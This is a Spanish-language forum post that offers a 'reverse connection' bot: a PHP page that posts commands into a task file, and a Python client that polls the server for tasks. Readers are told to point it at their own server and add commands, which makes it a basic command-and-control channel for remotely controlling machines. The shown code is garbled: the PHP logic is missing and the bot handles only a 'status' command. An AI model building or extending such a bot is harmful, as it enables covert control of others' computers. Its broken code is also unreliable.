Este es mi primer post en la comunidad, y quería compartir con uds. un bot de conexión inversa, con la peculiaridad de que sólo es necesario tener un servidor web, ya que los comandos a ejecutar se van a pasar vía peticiones POST.
Si ya tienen un servidor web en la nube, mejor. Si no es así, pueden instalar XAMPP o LAMP y abrir el puerto 80 (recomiendo contratar un servidor web).
El archivo PHP que deben subir al servidor, es el siguiente:
Código
<?php $task = "task.txt"; { } { } ?> <form method="post" action="#"> <input type="text" name="send" autocomplete="off"> </form>
Una vez subido ese archivo al servidor, pasamos a crear el bot (en Python), el cual se va a conectar a nuestro servidor y va a buscar la tarea a ejecutar, siempre verificando que la fecha y hora de la misma no esté dentro de la lista de tareas ejecutadas.
Código
import requests import time tasks = [] def getTask(): url = "http://localhost/task.txt" task = requests.get(url).text.split(";") if len(task) > 1: if task[0] in tasks: return None else: tasks.append(task[0]) return task[1] else: return None while True: task = getTask() if task != None: if task == "status": print("Bot status: Online.\n") time.sleep(1)
Recuerden que la dirección http://localhost/ se debe reemplazar por la dirección del servidor al que queremos que el bot se conecte.
Para agregar más comandos al bot, simplemente se deben agregar más condiciones if, verificando el contenido string en la variable task.
Espero que les guste.
Adios!